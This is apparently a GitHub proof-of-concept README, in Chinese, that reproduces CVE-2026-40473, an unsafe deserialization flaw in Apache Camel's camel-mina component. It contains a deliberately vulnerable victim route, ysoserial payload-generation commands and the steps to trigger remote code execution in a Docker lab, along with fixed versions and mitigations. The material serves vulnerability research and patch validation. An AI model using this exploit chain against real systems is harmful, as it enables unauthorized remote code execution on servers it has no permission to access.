oscerd/CVE-2026-40473
GitHub: oscerd/CVE-2026-40473
该项目复现了 Apache Camel camel-mina 组件中因缺少反序列化过滤器而导致的远程代码执行漏洞(CVE-2026-40473),提供了完整的漏洞验证与利用环境。
Stars: 0 | Forks: 0
# camel-mina MinaConverter.toObjectInput 不安全反序列化复现程序 (CVE-2026-40473)
本项目演示了 Apache Camel 的 `camel-mina` 组件中的一个 **Java 反序列化漏洞**,追踪编号为 **CVE-2026-40473**。`MinaConverter.toObjectInput(IoBuffer)` 类型转换器将接收到的字节包装在原始的 `ObjectInputStream` 中,且没有使用 `ObjectInputFilter`。因此,如果某条路由将 TCP/UDP body 转换为 `ObjectInput` 并调用 `readObject()`,攻击者只需向 MINA 端口发送恶意构造的序列化对象,即可实现**远程代码执行**。
安全通告:https://camel.apache.org/security/CVE-2026-40473.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-mina` |
| **受影响类** | `org.apache.camel.component.mina.MinaConverter` (`toObjectInput`) |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **影响** | 通过 TCP/UDP 实现远程代码执行 (RCE) |
| **受影响版本** | 3.0.0 至 4.14.6 之前的版本,4.15.0 至 4.18.2 之前的版本,4.19.0 至 4.20.0 之前的版本 |
| **已修复版本** | 4.14.6, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23319 |
| **报告者** | Venkatraman Kumar (Securin) |
## 技术细节
`IoBuffer → ObjectInput` 类型转换器将 buffer 包装在原始的 `ObjectInputStream` 中:
```
// MinaConverter.toObjectInput(IoBuffer) - affected version
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // NO ObjectInputFilter
}
```
当 camel-mina TCP/UDP consumer 传递原始字节(例如设置 `allowDefaultCodec=false` 时),并且路由请求转换为 `ObjectInput`(通过 `getBody(ObjectInput.class)`、`@Body ObjectInput` 或 `convertBodyTo(ObjectInput.class)`)时,就会运行此转换器。随后对返回的 stream 调用 `readObject()`,就会执行攻击者提供的字节中的任何 gadget chain。
## 受害者路由
```
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // deserialization sink
exchange.getMessage().setBody("deserialized: " + obj);
});
```
## 前置条件
- Java 17+ 和 Maven 3.8+(用于构建 jar)
- Docker(用于运行复现程序)
- ysoserial(用于生成 payload)
## 复现步骤
### 步骤 1:构建 jar 并启动容器
```
mvn clean package -DskipTests
docker compose up -d --build
```
### 步骤 2:生成恶意 payload
```
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# 在 JDK 21 上添加 --add-opens 以生成 CommonsCollections gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
```
### 步骤 3:通过 TCP 将其发送到 MINA 端口 (RCE)
```
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# 捆绑的 helper 打开一个到 mina:5555 的原始 TCP socket 并写入 bytes;victim route
# 将它们转换为 ObjectInput 并调用 readObject()。
# -> ">>> RCE proof — /tmp/pwned exists: true"
```
(在此 PoC 中,MINA 端口 5555 是容器内部端口;`/exploit/inject` 辅助脚本会从内部执行原始 TCP 发送。如果要在宿主机使用 `nc` 等原始客户端发送,请暴露 5555 端口。)
### 步骤 4:验证
```
docker exec cve-2026-40473 ls -la /tmp/pwned
```
### 清理
```
docker compose down
```
## 攻击向量
任何 camel-mina TCP 或 UDP consumer,只要其路由将 body 转换为 `ObjectInput`(无论是直接转换、通过 `@Body ObjectInput`,还是通过 `convertBodyTo(ObjectInput.class)`),都能被任何可以访问到 MINA 端口的人利用。
## 漏洞利用条件
1. 一个 camel-mina TCP/UDP consumer,且其请求将接收到的字节转换为 `ObjectInput`。
2. **classpath 中存在 gadget 库**(例如 `commons-collections:3.2.1`)。
## 推荐修复方案
升级至 4.14.6 / 4.18.2 / 4.20.0。该修复在转换器中应用了 `ObjectInputFilter` / 类白名单(与应用于 camel-netty、camel-jms 和 camel-infinispan 的安全加固一致)。
## 缓解措施
在升级之前:
1. **切勿将不受信任的 MINA body 转换为 `ObjectInput`** / 不要对其进行反序列化。
2. **移除 gadget 库**(升级或移除 commons-collections 3.x)。
3. 限制对 MINA 端口的网络访问,仅允许受信任的对等端访问。
## 文件
```
CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: sends serialized bytes over TCP to mina:5555
└── resources/
└── application.properties
```
## 免责声明
本复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露且已修复**的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:JS文件枚举, 域名枚举, 请求拦截